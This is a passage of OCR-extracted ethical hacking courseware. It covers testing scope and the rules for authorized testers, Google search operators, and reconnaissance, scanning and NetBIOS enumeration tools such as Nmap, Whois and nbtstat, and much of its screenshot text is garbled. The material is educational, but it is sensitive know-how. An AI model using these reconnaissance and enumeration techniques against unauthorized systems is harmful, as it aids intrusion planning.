reconnaissance and covering tracks phases, the ethical hacker should notice and stop the
attack.

After carrying out attacks, hackers may clear their tracks by modifying log files and creating
backdoors, or by deploying trojans. Ethical hackers must investigate whether such activities
have been recorded and what preventive measures have been taken. This not only provides
them with an assessment of the attacker’s proficiency but also gives them insight into the
existing security measures of the system being evaluated. The entire process of ethical hacking
and subsequent patching of discovered vulnerabilities depends on questions such as:

= What is the organization trying to protect?
= Against whom or what are they trying to protect it?

Module 02 Page 73 Ethical Hacking Essentials Copyright © by EG-Council
All Rights Reserved. Reproduction is Strictly Prohibited.




Ethical Hacking Essentials Exam 112-52
Ethical Hacking Fundamentals

= Are all the components of the information system adequately protected, updated, and
patched?

= How much time, effort, and money is the client willing to invest to gain adequate
protection?

= Do the information security measures comply with industry and legal standards?

Sometimes, in order to save on resources or prevent further discovery, the client might decide
to end the evaluation after the first vulnerability is found; therefore, it is important that the
ethical hacker and the client work out a suitable framework for investigation beforehand. The
client must be convinced of the importance of these security exercises through concise
descriptions of what is happening and what is at stake. The ethical hacker must also remember
to convey to the client that it is never possible to guard systems completely, but that they can
always be improved.
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Scopé and Limitations of Ethical Hacking

Scope Limitations

O Ethical hacking is a crucial
component of risk assessment,

U Unless the businesses already know
what they are looking for and why

auditing, counter fraud, and they are hiring an outside vendor
information systems security best to hack systems in the first place,
practices chances are there would not be

much to gain from the experience
O Itis used to identify risks and

highlight remedial actions. It also O An ethical hacker can only help the
reduces ICT costs by resolving organization to better understand its
vulnerabilities security system; it is up to the

organization to place the right
safeguards on the network
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Scope and Limitations of Ethical Hacking

Security experts broadly categorize computer crimes into two categories: crimes facilitated by a
computer and those in which the computer is the target.

Ethical hacking is a structured and organized security assessment, usually as part of a
penetration test or security audit, and is a crucial component of risk assessment, auditing,
counter fraud, and information systems security best practices. It is used to identify risks and
highlight remedial actions. It is also used to reduce Information and Communications
Technology (ICT) costs by resolving vulnerabilities.

Ethical hackers determine the scope of the security assessment according to the client’s
security concerns. Many ethical hackers are members of a “Tiger Team.” A tiger team works
together to perform a full-scale test covering all aspects of the network, as well as physical and
system intrusion.

An ethical hacker should know the penalties of unauthorized hacking into a system. No ethical
hacking activities associated with a network-penetration test or security audit should begin
before receiving a signed legal document giving the ethical hacker express permission to
perform the hacking activities from the target organization. Ethical hackers must be judicious
with their hacking skills and recognize the consequences of misusing those skills.

The ethical hacker must follow certain rules to fulfill their ethical and moral obligations. They
must do the following:

= Gain authorization from the client and have a signed contract giving the tester
permission to perform the test.

= Maintain confidentiality when performing the test and follow a Nondisclosure
Agreement (NDA) with the client for the confidential information disclosed during the

Module 02 Page 75 Ethical Hacking Essentials Copyright © by EG-Council
All Rights Reserved. Reproduction is Strictly Prohibited.




Ethical Hacking Essentials Exam 112-52
Ethical Hacking Fundamentals

test. The information gathered might contain sensitive information, and the ethical
hacker must not disclose any information about the test or the confidential company
data to a third party.

Perform the test up to but not beyond the agreed-upon limits. For example, ethical
hackers should perform DoS attacks only if they have previously agreed upon this with
the client. Loss of revenue, goodwill, and worse consequences could befall an
organization whose servers or applications are unavailable to customers because of the
testing.

The following steps provide a framework for performing a security audit of an organization,
which will help in ensuring that the test is organized, efficient, and ethical:

Talk to the client and discuss the needs to be addressed during the testing
Prepare and sign NDA documents with the client

Organize an ethical hacking team and prepare the schedule for testing
Conduct the test

Analyze the results of the testing and prepare a report

Present the report findings to the client

However, there are limitations too. Unless the businesses first know what they are looking for
and why they are hiring an outside vendor to hack their systems in the first place, chances are
there would not be much to gain from experience. An ethical hacker, thus, can only help the
organization to better understand its security system. It is up to the organization to place the
right safeguards on the network.

Module 02 Page 76 Ethical Hacking Essentials Copyright © by EG-Council

All Rights Reserved. Reproduction is Strictly Prohibited.




Ethical Hacking Essentials Exam 112-52
Ethical Hacking Fundamentals

\V/4 Technical Skills {&}  Non-Technical Skills

Skills of an Ethical Hacker

€ In-depth knowledge of major @ The ability to learn and adopt new
operating environments such as technologies quickly
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ORIz, Ui, (e el W esy @ Strong work ethics and good problem

@ In-depth knowledge of networking solving and communication skills
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. . e, .
hardware and software Committed to the organization’s security

policies
@ A computer expert adept at technical

. @ An awareness of local standards and laws
domains

@ Knowledgeable about security areas
and related issues

@ “High technical” knowledge for
launching sophisticated attacks
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Skills of an Ethical Hacker

It is essential for an ethical hacker to acquire the knowledge and skills to become an expert
hacker and to use this knowledge in a lawful manner. The technical and non-technical skills to
be a good ethical hacker are discussed below:

=  Technical Skills

o

(@]

(@]

In-depth knowledge of major operating environments, such as Windows, Unix,
Linux, and Macintosh

In-depth knowledge of networking concepts, technologies, and related hardware
and software

A computer expert adept at technical domains
The knowledge of security areas and related issues

High technical knowledge of how to launch sophisticated attacks

= Non-Technical Skills

o The ability to quickly learn and adapt new technologies
o Astrong work ethic and good problem solving and communication skills
o Commitment to an organization’s security policies
o Anawareness of local standards and laws
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Ethical Hacking Tools

This section discusses the various hacking tools that allows security professionals to gather
critical information about the target.
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Reconnaissance Using Advanced
Google Hacking Techniques -~

Google hacking refers to the use of advanced Google search
Q operators for creating complex search queries to extract sensitive
or hidden information that helps attackers find vulnerable targets

Popular Google advanced search operators

Search operators Description

[cache:] Displays the web pages stored in the Google cache

[link:] Lists web pages that have links to the specified web page

[related:] Lists web pages that are similar to the specified web page

[info:] Presents some information that Google has about a particular web page
[site:] Restricts the results to those websites in the given domain

[allintitle:] Restricts the results to those websites containing all the search keywords in the title
[intitle:] Restricts the results to documents containing the search keyword in the title
[allinurl:] Restricts the results to those containing all the search keywords in the URL
[inurl:] Restricts the results to documents containing the search keyword in the URL
[location:] Finds information for a specific location
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Reconnaissance Using Advanced Google Hacking Techniques

Google hacking refers to the use of advanced Google search operators for creating complex
search queries to extract sensitive or hidden information. The accessed information is then
used by attackers to find vulnerable targets. Footprinting using advanced Google hacking
techniques involves locating specific strings of text within search results using advanced
operators in the Google search engine.

Advanced Google hacking refers to the art of creating complex search engine queries. Queries
can retrieve valuable data about a target company from Google search results. Through Google
hacking, an attacker tries to find websites that are vulnerable to exploitation. Attackers can use
the Google Hacking Database (GHDB), a database of queries, to identify sensitive data. Google
operators help in finding the required text and avoiding irrelevant data. Using advanced Google
operators, attackers can locate specific strings of text such as specific versions of vulnerable
web applications. When a query without advanced search operators is specified, Google traces
the search terms in any part of the webpage, including the title, text, URL, digital files, and so
on. To confine a search, Google offers advanced search operators. These search operators help
to narrow down the search query and obtain the most relevant and accurate output.

The syntax to use an advanced search operator is as follows: operator: search_term
Note: Do not enter any spaces between the operator and the query.
Some popular Google advanced search operators include:
Source: http://www.googleguide.com
= site: This operator restricts search results to the specified site or domain.

For example, the [games site: www.certifiedhacker.com] query gives information on
games from the certifiedhacker site.
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allinurl: This operator restricts results to only the pages containing all the query terms
specified in the URL.

For example, the [allinurl: google career] query returns only pages containing the words
“google” and “career” in the URL.

inurl: This operator restricts the results to only the pages containing the specified word
in the URL.

For example, the [inurl: copy site:www.google.com] query returns only Google pages in
which the URL has the word “copy.”

allintitle: This operator restricts results to only the pages containing all the query terms
specified in the title.

For example, the [allintitle: detect malware] query returns only pages containing the
words “detect” and “malware” in the title.

intitle: This operator restricts results to only the pages containing the specified term in
the title.

For example, the [malware detection intitle:help] query returns only pages that have
the term “help” in the title, and the terms “malware” and “detection” anywhere within
the page.

inanchor: This operator restricts results to only the pages containing the query terms
specified in the anchor text on links to the page.

For example, the [Anti-virus inanchor:Norton] query returns only pages with anchor text
on links to the pages containing the word “Norton” and the page containing the word
“Anti-virus.”

allinanchor: This operator restricts results to only the pages containing all query terms
specified in the anchor text on links to the pages.

For example, the [allinanchor: best cloud service provider] query returns only pages for
which the anchor text on links to the pages contains the words “best,” “cloud,”
“service,” and “provider.”

cache: This operator displays Google's cached version of a web page instead of the
current version of the web page.

For example, [cache:www.eff.org] will show Google’s cached version of the Electronic
Frontier Foundation home page.

link: This operator searches websites or pages that contain links to the specified website
or page.

For example, [link:www.googleguide.com] finds pages that point to Google Guide’s
home page.

Note: According to Google’s documentation, “you cannot combine a link: search with a
regular keyword search.”
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Also note that when you combine link: with another advanced operator, Google may
not return all the pages that match.

= related: This operator displays websites that are similar or related to the URL specified.

For example, [related:www.microsoft.com] provides the Google search engine results
page with websites similar to microsoft.com.

= info: This operator finds information for the specified web page.

For example, [info:gothotel.com] provides information about the national hotel
directory GotHotel.com home page.

= Jocation: This operator finds information for a specific location.

For example, [location: 4 seasons restaurant] will give you results based on the term “4
seasons restaurant.”

= Filetype: This operator allows you to search for results based on a file extension.

For Example, [jasmine:jpg] will provide jpg files based on jasmine.
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Reconnaissance Tools

. Whois Record for CertifiedHacker.com
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. . .. . Registrant PERFECT PRIVACY, LLC
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Reconnaissance Tools (Cont’d)

IMCP Traceroute TCP Traceroute

B Select Command Prompt - tracert 216.239.36.10

Reconnaissance Tools

Reconnaissance tools are used to collect basic information about target systems to exploit
them. Information collected by the footprinting tools includes the target’s IP location
information, routing information, business information, address, phone number and social
security number, details about a source of an email and a file, DNS information, domain
information, and so on.
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= Web Data Extractor
Source: http://www.webextractor.com
Web Data Extractor automatically extracts specific information from web pages. It
extracts targeted contact data (email, phone, and fax) from the website, extracts the
URL and meta tags (title, description, keyword) for website promotion, searches
directory creation, performs web research, and so on.
As shown in the screenshot, attackers use Web Data Extractor to automatically gather
critical information such as lists of meta tags, e-mail addresses, and phone and fax
numbers from the target website.
® Web Data Extractor Pro 2.9. Trial Version. You are on day 5 of your 15 day evaluation pericd. — [m} x
; i > | ] | - QA
new session  edit session start pause stop options
Process log Bad URLs (12) Stored Sessions
MataTag (26) (17)  Phone (122) Fax(118) Link(66) Domain (1)
Fitter ‘
Description Keywords Title U Host Domain Page size Page last modified
iA brief description of this we...  keywords, or phrases, ... Certfied Hacker http://www certifiedhacker.com/ certifiedhacker.com  com 9660 20M1-02-10
http://certifiednacker. com/corporatedeami...  certfiedhackercom  com 5845 2011-02-10
Professional Real Estate Ser... real estate, real estate...  Professional Real Es...  hittp://cerifiedhacker.com/Real%.20Estate... certffiedhackercom  com 5381 20110210
Clear Construction http://certifiedhacker com/Under.20Cons certifiedhackercom  com 5151 201712-27
Under the Trees http://certifiedhacker.com/Under®20the®... cerifiedhackercom  com 3653 200712-27
A short description of yourc...  Some keywordsthatb...  Your company - Ho...  http://certfiedhacker.com/Recipes/index.... cerifiedhacker.com  com 5899 20110210
Turbo max powerfull one pa...  Turbo max , owlempla... Turbo Max Theme - ...  hitp://certifiedhacker.com/Turbo%.20Max/... cerifiedhacker.com com 12125 201712-27
P-Folio http://certifiedhacker.com/P{olio/index html  certifiedhackercom  com 11606 201712-27
A brief description of this we...  keywords, or phrases. ...  Unite - Togetheris B... http://centfiedhacker.com/Social .20Medi... cerifiedhacker.com com 15094 201712-27
Orline Booking booking, hatel, hotels,...  Online Booking http://centifiedhacker.com/Online%20Boo...  certifiedhackercom  com 20280 2017-12-27
A short description of yourc...  Some keywordsthatb...  Your company - Rec... http://certfiedhacker.com/Recipes/Chick... cerfiedhacker.com com 9594 2011-02-10
A short description of yourc...  Some keywordsthatb...  Your company - Abo... http://cenifiedhacker.com/Recipes/about-... cerifiedhacker.com  com 5762 2011-02-10
A short description of yourc...  Some keywordsthatb...  Your company - Rec... http://certfiedhacker.com/Recipes/recipe... cerifiedhacker.com  com 12716 20M1-02-10
A short description of yourc...  Some keywordsthatb...  Your company - Menu  http://centifiedhacker.com/Recipes/menu.... cerifiedhacker.com com 7509 2011-02-10
A short description of yourc...  Some keywordsthatb...  Your company -Con... http://cerfiedhacker.com/Recipes/conta...  certffiedhacker.com  com 5828 2011-02-10
Online Booking booking. hatel, hotels, Online Booking: Site http://certifiedhacker com/Online .20Boa certifiedhackercom  com 11965 2011-02-10
Orline Booking booking, hotel, hotels,...  Online Booking: Bro...  hitp://certifiedhacker.com/Online%20800...  cerifiedhackercom  com 16031 20110210
Online Booking booking, hotel, hotels,...  Online Booking: Con...  hitp://cerifiedhacker.com/Online™.20Boo...  cerifiedhackercom  com 14163 20110210
Online Booking booking, hotel, hetels,...  Online Booking: FAQ  hitp://certifiedhacker.com/Online®.20Boo...  certifiedhacker.com  com 14047 2011-02-10
Orline Booking booking, hotel, hetels,...  Online Booking: Typ...  hitp://cerifiedhacker.com/Online®.20Boo...  cerffiedhacker.com com 12661 201102-10
Online Booking booking, hotel, hetels....  Online Booking: Sea...  hittp://certfiedhacker.com/Online’.20Boo...  certffiedhacker.com  com 27877 2011-02-10
A short description of yourc...  Some keywordsthatb... Your company - Rec... http://cerifiedhacker.com/Recipes/recipe... certffiedhacker.com  com 12451 2011-02-10
A short description of yourc...  Some keywordsthatb...  Your company - Me...  http://certfiedhacker.com/Recipes/menu-... cerfiedhacker.com  com 11584 2011-02-10
Online Booking booking, hotel, hotels,...  Online Booking: Prin...  hitp://cerifiedhacker.com/Online®.20Boo...  cerifiedhackercom  com 5693 2011-02-10
Online Booking booking, haotel, hotels,...  Online Booking: Het...  hitp://certifiedhacker.com/Online®20Boo...  cerifiedhacker.com  com 39453 2011-02-10
Online Booking booking. hotel, hotels....  Online Booking: Che...  hitp://certfiedhacker.com/Online.20Boo...  cerfiedhackercom com 125968 2011-02-10
Processing time: | 00:00:08.623 Sites processed: |79/ 79 Downloaded: |865 KB Avg, Speed: | 128 KB/s

=  Whois Lookup

Figure 2.3: Screenshot of Web Data Extractor

Whois services such as https://whois.domaintools.com or https://www.tamos.com can
help to perform Whois lookups. The screenshot shows the result analysis of a Whois
lookup obtained with the two above-mentioned Whois services. The services perform
Whois lookup by entering the target's domain or IP address. The domaintools.com
service provides Whois information such as registrant information, email, administrative
contact information, creation and expiry date, and a list of domain servers. SmartWhois,
available at http://www.tamos.com, gives information about an IP address, hostname,
or domain, including information about the country, state or province, city, phone
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number, fax number, name of the network provider, administrator, and technical
support contact information. It also helps in finding the owner of the domain, the
owner's contact information, the owner of the IP address block, registered date of the
domain, and so on. It supports Internationalized Domain Names (IDNs), which means
one can query domain names that use non-English characters. It also supports IPv6
addresses.
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Whois Record for CertifiedHacker.com

= Domain Profile

Registrant

Registrant Country

Registrar

Registrar Status

Dates

MName Servers

Tech Contact

IP Address

IP Location

ASN

Domain Status
IP History
Registrar History

Hosting History

PERFECT PRIVACY, LLC
us

NETWORK SOLUTIONS, LLC. Network Solutions, LLC
IANA ID: 2

URL: http#netwerksolutions.com

Whois Server: whois.networksolutions_.com

abuse@web,.com
(p) 18003337680
clientTransferProhibited, clientTransferProhibited

6,160 days old

Created on 2002-07-29
Expires on 2021-07-29
Updated on 2018-08-22

M51.BLUEHOST.COM (has 2,477,906 domains)
M51 BLUEHOST.COM (has 2,477,906 domains)
M52 BLUEHOST.COM (has 2,477,906 domains)
M52 BLUEHOST.COM (has 2,477,906 domains)

PERFECT PRIVACY, LLC
12808 Gran Bay Parkway West,
Jacksonville, FL, 32258, us

wi6j599s4d9@networksolutionsprivateregistration.com
(p) 15707088780

162.241.216.11 - 1,025 other sites hosted on this server

- Utah - Provo - Unified Layer

AS464086 UMIFIEDLAYER-AS-1 - Unified Layer, US (registered Qct 24, 2008)
Registered And Active Website

13 changes on 13 unique IP addresses over 13 years

3 registrars with 2 drops

6 changes on 4 unique name servers over 16 years

Figure 2.4: Screenshot of Whols
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[ & SmartWhois - Evaluation Version - m] X
| File Query Edit View Settings Help
A | L8, W ! (=4 =
|&-%-L|5% [ @ P
IP, host or domain: [EY<crtificdhacker.co | £ Query v
cert
% e B © certifiedhacker.com - Source X
~

E;g 162.241.216.11

PERFECT PRIVACY, LLC
12808 Gran Bay Parkway West
Jacksonville
FL
32258
United States

+1.570708878!

d9@networksolt

Registrar
Registrar U
Updated D

sprivateregistration.com

&= PERFECT PRIVACY, LLC
&5 12808 Gran Bay Parkway West
’ Jacksonville
FL
32258
United States
Phone: +1.5707088780
wf6j599 networksol:

63 PERFECT PRIVACY, LLC
£ 12808 Gran Bay Parkway West

Jacksonville

1sprivateregistration.com

United States
Phone: +1.57

NS1.BLUEHOST.COM
NS2.BLUEHOST.COM
\@ Alexa Traffic Rank : 3,258,426
BANK,
2:00Z

Created: 2002-07-30T00:32:
J Updated: 2018-08-22709:05:36Z

Expires: 2021-07-30T00:32:00Z

Close

Source: whois.networksolutions.com

Done

= |CMP Traceroute

Figure 2.5: Screenshot of SmartWhois

Windows operating system by default uses ICMP traceroute. Go to the command
prompt and type the tracert command along with the destination IP address or domain

name as follows:

BN Select Command Prompt - tracert 216.239.36.10 -

route

mum

ms
ms
ms
ms
ms
ms
ms
ms
ms

=3 2 =3

=3 =2

5
5
5
5
ms
5
5
5
5

=

timed out.
timed out.
timed out.

Figure 2.6: Screenshot showing the output of ICMP Traceroute
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= TCP Traceroute

Many devices in any network are generally configured to block ICMP traceroute
messages. In this scenario, an attacker uses TCP or UDP traceroute, which is also known
as Layer 4 traceroute. Go to the terminal in Linux operating system and type the
tcptraceroute command along with the destination IP address or domain name as
follows:

tcptraceroute www.google.com

(| N J Parrot Terminal

File Edit Search Terminal Help

Figure 2.7: Screenshot showing the output of TCP Traceroute

= UDP Traceroute

Like Windows, Linux also has a built-in traceroute utility, but it uses the UDP protocol
for tracing the route to the destination. Go to the terminal in the Linux operating system
and type the traceroute command along with the destination IP address or domain
name as follows:

traceroute www.google.com

) 0 Parrot Terminal
File Edit Search Terminal Help

@parro

Figure 2.8: Screenshot showing the output of UDP Traceroute
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Use Nmap to extract information such as live hosts on
the network, open ports, services (application name and
version), types of packet filters/ firewalls, as well as
operating systems and versions used

® Zenmap - o x
Scan Tools Profile Help

Target: | 10.10.10.10 ~ | Profile: ~ Scan Cancel

Command: [ nmap -sn -PR.10.10.10.10
Services Mmap Output Ports/ Hosts Topology Host Details Scans

05 4 Host ~  |nmap -sn -PR 10.10.10.10 v Details
W 10.10.10.10 Starting Mmap 7.7@ ( https://nmap.org ) at 2019-86-87
12:30 Standard Time

Mpap scan report for 16.16.10.10
[loaescan geport vor 10,10

FAC Address: ©@:0C:29:79:02:89 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 8.25

seconds| v
Filter Hosts

https://nmap.org

Scanning Tools

Includes scanners such as Comprehensive Security Scanner, Port
Nmap scanner (TCP and UDP ports), IP scanner, NetBIOS scanner, and

3% MegaPing (Unregistered) - o X
File View Tools Help
L2084 DT

MegaPing

Share Scanner

Sfgey a8

3 DNS List Hosts
3 oS ooty vme | B sienii
& Finger
Network Time ¥ Comections Statitics ¥~ Intefaces ¥ IPRouting (B ARP
£ Ping Al
£3 Troceroute Protocol 7 PID Local Address  Remote Addr.. State e
25 Whols .7 4%64 500000049660 00000  LSTENNG | - Refesh
23 Network Resources G 49655  70800,00:40665 00000 LISTENING OlAcive orly
Gf 49665 172800004966 00000  LISTENING
- 49667 536 00.0.049667  0.0.0.00 LISTENING il
G- 49668 1076 00.0.0:49668  0.0.0.0:0 LISTENING
& NetBIOS Scanner ©-F 49670 544 0.0.00:4970  0.0.00:0 LISTENING
32 Share Scanner - 49856 2064 0.0.0.0:4985  0.0.0.0:0 LISTENING
@ Security Scanner @ 49899 1076 10.10.1010:4... 40.119.211.20... ESTABLISH.
2 PortScanner o 50012 3392 10.10.10.105... 104.111.207.2... ESTABLISH
& Host Monitor G 50013 3392 101010105... 104.120.173.2... ESTABLISH
B 21 436000021 00000 LISTENING
e 80 4000080 00000 LISTENING
- a5 4000045 00000 LISTENING
=-8 upp 17 ports. 16:11:47
b e .|
el http://www.magnetosoft.com
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Unicornscan

In Unicornscan, the OS of the target machine can be identified
by observing the TTL values in the acquired scan result

Terminal Help

Possible OS is Windows

https://sourceforge.net

Scanning Tools (Cont’d)

Hping2/Hping3
http://www.hping.org

NetScanTools Pro

https://www.netscantools.com

SolarWinds Port Scanner
https://www.solarwinds.com

PRTG Network Monitor

https://www.paessler.com

OmniPeek Network Protocol Analyzer

https://www.liveaction.com

Scanning Tools

= Nmap
Source: https://nmap.org

Nmap ("Network Mapper") is a security scanner for network exploration and hacking. It
allows you to discover hosts, ports, and services on a computer network, thus creating a
"map" of the network. It sends specially crafted packets to the target host and then
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analyzes the responses to accomplish its goal. It scans vast networks of literally
hundreds of thousands of machines. Nmap includes many mechanisms for port scanning
(TCP and UDP), OS detection, version detection, ping sweeps, and so on.

Either a security professional or an attacker can use this tool for their specific needs.
Security professionals can use Nmap for network inventory, managing service upgrade
schedules, and monitoring host or service uptime. Attackers use Nmap to extract
information such as live hosts on the network, open ports, services (application name
and version), type of packet filters/firewalls, MAC details, and OSs along with their
versions.

Syntax: # nmap <options> <Target IP address>

Zenmap — O x

Scan  Jools Profile Help

Target: | 10.10.10.10 ~ | Profile: ~ Scan Cancel

Command: |r1r'r13p -sn -PR 10.10.10.10

Services Mmap Output Ports / Hosts Topolegy Host Details  Scans

05 4 Host - nmap -sn -PR 10,10,10.10 w Details
© 10.10.10.10 Starting Mmap 7.7@ ( https://nmap.crg ) at 2019-86-07
12:38@ Standard Time

Nmao gn report for 18.16.168.16

(9.80s latency).

MAC Address: 88:8C:29:79:82:89 (VMware)
Mmap done: 1 IP address (1 host up) scanned in 8.25

secu:unds|
Filter Hosts

Figure 2.9: Screenshot displaying Nmap scan
MegaPing
Source: http://www.magnetosoft.com

MegaPing includes scanners such as Comprehensive Security Scanner, Port scanner (TCP
and UDP ports), IP scanner, NetBIOS scanner, and Share Scanner. All Scanners can scan
individual computers, any range of IP addresses, domains, and selected type of
computers inside domains. MegaPing security scanner provides the following
information: NetBIOS names, Configuration info, open TCP and UDP ports, Transports,
Shares, Users, Groups, Services, Drivers, Local Drives, Sessions, and Remote Time of
Date, Printers.
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Systern Info

Unicornscan

Figure 2.10: Screenshot displaying MegaPing scan

Source: https://sourceforge.net

3 MegaPing (Unregistered) O *
File View Tools Help
N AT R A=Y IE S R
. DNS List Hosts
31 DMNS Lookup Mame System Infe
g Finger
&) Metwork Time .é’i Connections [ Statistics W Intefaces 24 |P Routing
----gag Ping Al
--gg Traceroute Pratocal ¢ PID Local Address  Remote Addr... State :'-‘u.rlo
&5 Whols - F 49664 500 0.0.0.0:49664  0.0.0.0:0 LISTENING Refresh
{23 Network Resources G- ¥ 49665 708 0.0.0.0:49665  D.0.0.0:0 LISTENING [ Active Orly
-4 Process Info [j---;; 49666 1728 0.0.0.0:49666  0.0.0.0:0 LISTENING
B system Info - ¥ 49667 556 0.0.0.0:49667  0.0.0.0:0 LISTENING Ol
-3 IP Scanner [j---F[; 49668 1076 0.0.0.0:49668  0.0.0.0:0 LISTENING
@ MetBIOS Scanner [j—--F[; 49670 544 0,0.0.0:49670  0.0.0.0:0 LISTEMNING
32 Share Scanner G- F 49856 2064 0.0.0.0:49856  0.0.0.0:0 LISTENING
@ Security Scanner D'“r.=[; 49399 1076 10.10.10.10:4... 40,119.211.20... ESTABLISH...
oy Port Scanner G- 50012 3392 10.10.10.10:5... 104.111.207.2.. ESTABLISH..,
"'"@ Host Monitor [j—--;; 50013 3392 10.0,0.10:5... 104.120.173.2... ESTABLISH...
[j—--{y 21 2436 0,0.0.0:21 0.0,0.0:0 LISTEMNING
[j---F[; a0 4 0.0.0.0:80 0.0.0.0:0 LISTENING
[j—--r;? 445 4 0.0.0,0:445 0.0,0.0:0 LISTEMNING
=-% uDP 17 ports 16:11:47
Pyl cwomon v -

In Unicornscan, the OS of the target machine can be identified by observing the TTL
values in the acquired scan result. To perform Unicornscan, the syntax #unicornscan
<target IP address> is used. As shown in the screenshot, the ttl value acquired
after the scan is 128; hence, the OS is possibly Microsoft Windows (Windows
7/8/8.1/10 or Windows Server 2008/12/16).
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Parrot Terminal

Search Terminal

Possible OS is Windows

Figure 2.11: OS Discovery using Unicornscan
Some additional scanning tools are listed below:
= Hping2/Hping3 (http://www.hping.org)
= NetScanTools Pro (https.//www.netscantools.com)
= SolarWinds Port Scanner (https.//www.solarwinds.com)
= PRTG Network Monitor (https://www.paessler.com)

=  OmniPeek Network Protocol Analyzer (https://www.liveaction.com)
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Enumeration Tools
NetBIOS Enumerator helps to enumerate Other NetBIOS
NetBIOS details, such as NetBIOS names, Usernames, Enumeration Tools:
Enumerator Domain names, and MAC addresses, for a
given range of IP addresses
The nbtstat utility in Windows displays Global Network
Nbtstat Net?l(.)s over TCP/IP (NetBT) protocol Inventory
Utilit statistics, NetBIOS name tables for 57 NetBIOS Enumerator _ o x e
ity both the local and remote computers, $5IP range to scan Sen | Clear Settings |
and the NetBIOS name cache from:[ 10.10.10.1 _Lvourip- -
X specify an IP range to
©1[10.10.10.25 EBEL enumerate NetBIOS information luw Advanced IP
B Command Prompt — - * 9 10.10.10.1 [RDDW-033] Scanning from: 10.10.10.1 Scanner
= 10.10.10.10 [WINDOWS 10] to: 10.10.10.25 https://www.advanced-
- NetSI0S Names (3) Ready! ip-scanner.com

€ Username: (No one logged on)

[ Domain: WORKGROUP

3 MAC: 00-0c-29-5f-6e-39

[ Round Trip Time (RTT): 0 ms - Time To Live

[ERJ 10.10.10. 16 [WORKGROUP]

1 [B8 NetBIOS Names (3)
8% WORKGROUP - Domain Name

% SERVER2016 - Workstation Service

SERVER2016 - File Server Service

£ Username: (o one logged on)

[¥ Domain: WORKGROUP

BB MAC: 00-0c-29-4f-62-61

[ Round Trip Time (RTT): 25 ms - Time To Live (TTL): 125

Hyena
https://www.systemtools.com
Obtain information, such
as NetBIOS names,
usernames, domain
names, and MAC
addresses

Nsauditor Network
Security Auditor

https://www.nsauditor.com

jscanning: 10.10.10.25

http://nbtenum.sourceforge.net
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Enumeration Tools
= Nbtstat Utility
Source: https://docs.microsoft.com

Nbtstat is a Windows utility that helps in troubleshooting NETBIOS name resolution
problems. The nbtstat command removes and corrects preloaded entries using
several case-sensitive switches. Attackers use Nbtstat to enumerate information such as
NetBIOS over TCP/IP (NetBT) protocol statistics, NetBIOS name tables for both local and
remote computers, and the NetBIOS name cache.

The syntax of the nbtstat command is as follows:

nbtstat [-a RemoteName] [-A IP Address] [-c] [-n] [-r] [-R] [-RR]
[-s] [-S] [Interval]

The table shown below lists various Nbtstat parameters and their respective functions.

Nbtstat

Function
Parameter

Displays the NetBIOS name table of a remote computer, where RemoteName is
the NetBIOS computer name of the remote computer

-a RemoteName

Displays the NetBIOS name table of a remote computer, specified by the IP

-A IP Address . . .
address (in dotted decimal notation) of the remote computer

Lists the contents of the NetBIOS name cache, the table of NetBIOS names and

-c .
their resolved IP addresses
cn Displays the names registered locally by NetBIOS applications such as the server
and redirector
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-r Displays a count of all names resolved by a broadcast or WINS server
-R Purges the name cache and reloads all #PRE-tagged entries from the Lmhosts file
-RR Releases and re-registers all names with the name server
_s Lists the NetBIOS sessions table converting destination IP addresses to computer
NetBIOS names
-S Lists the current NetBIOS sessions and their status with the IP addresses
Interval Re-displays selected statistics, pausing at each display for the number of seconds

specified in Interval

Table 2.1: Nbtstat parameters and their respective functions
The following are some examples for nbtstat commands.

o The nbtstat command “nbtstat -a <IP address of the remote
machine>” can be executed to obtain the NetBIOS name table of a remote
computer.

B Command Prompt — O x

Admingnbtstat

Figure 2.12: Nbtstat command to obtain the name table of a remote system

o The nbtstat command “nbtstat -c” can be executed to obtain the contents of the
NetBIOS name cache, the table of NetBIOS names, and their resolved IP addresses.

B8 Command Prompt — O >

Id: []

e Name Table

Hos

Figure 2.13: Nbtstat command to obtain the contents of the NetBIOS name table
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= NetBIOS Enumerator

Source: http://nbtenum.sourceforge.net

Exam 112-52

NetBIOS Enumerator is an enumeration tool that shows how to use remote network
support and to deal with some other web protocols, such as SMB. As shown in the
screenshot, attackers use NetBIOS Enumerator to enumerate details such as NetBIOS
names, usernames, domain names, and media access control (MAC) addresses for a

given range of IP addresses.

B " NetBIOS Enumerator

$51IP range to scan Scan I Clear I
from:| 10.10.10.1 Your lgs=Ls

Settings

L Attackers specify an IP range to
to:] 10.10.10.25 v [1| enumerate NetBIOS information
w

2 10.10.10.1 [RDDW-033]
B~ 92 10.10.10.10 [WINDOWS10]
[+ NetBIOS Names (3)
ﬁ Username: (No one logged on)
[ Domain: WORKGROUP
5 MAC: 00-0c-29-5f-6e-99
(£ Round Trip RTT): O ms - Time To Live (TTL): 128

10.10.10. 16 [WORKGROUP]
= NetBIOS Names (3)
£ WORKGROUP - Domain Name <
SERVER2016 - Workstation Service
SERVER2016 - File Server Service
ﬁ Username: (No one logged on)
[£ Domain: WORKGROUP

2 MAC: 00-0c-29-4f-62-61
(£ Round Trip Time (RTT): 25 ms - Time To Live (TTL): 128

Scanning from: 10.10.10.1
to: 10.10.10.25
Ready!

Obtain information, such
as NetBIOS names,
usernames, domain

names, and MAC
addresses

Iscanning: 10.10.10.25

Figure 2.14: Screenshot of NetBIOS Enumerator

The following are some additional NetBIOS enumeration tools:

= Global Network Inventory (http://www.magnetosoft.com)

= Advanced IP Scanner (https://www.advanced-ip-scanner.com)

= Hyena (https://www.systemtools.com)

= Nsauditor Network Security Auditor (https://www.nsauditor.com)
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tools
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and malware concepts

Module Summary
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This module has discussed the cyber kill chain methodology, TTPs, and loCs in detail. It also
discussed hacking concepts and hacker classes. Additionally, it also discussed in detail the
different phases of a hacking cycle. Apart from this, it has discussed ethical hacking concepts
such as its scope and limitations and the skills of an ethical hacker. Finally, the module ended

with an overview of ethical hacking tools.

In the next module, we will discuss in detail information security threats, vulnerabilities, and

malware concepts.
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Module Objectives

Understanding the Threat and Threat Sources

Understanding Malware and Components of Malware

Overview of Common Techniques Attackers use to Distribute Malware on the Web
Overview of Different Types of Malware and Malware Countermeasures
Understanding Vulnerability and Vulnerability Classification

Understanding Vulnerability Assessment and Types of Vulnerability Assessment

Overview of Vulnerability Scoring Systems and Vulnerability Management Life Cycle

000000006

Understanding Vulnerability Assessment Tools and Vulnerability Exploitation
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Module Objectives

Recent trends in cyber security breaches illustrate that no system or network is immune to
attacks. All organizations that store, transmit, and handle data need to enforce strong security
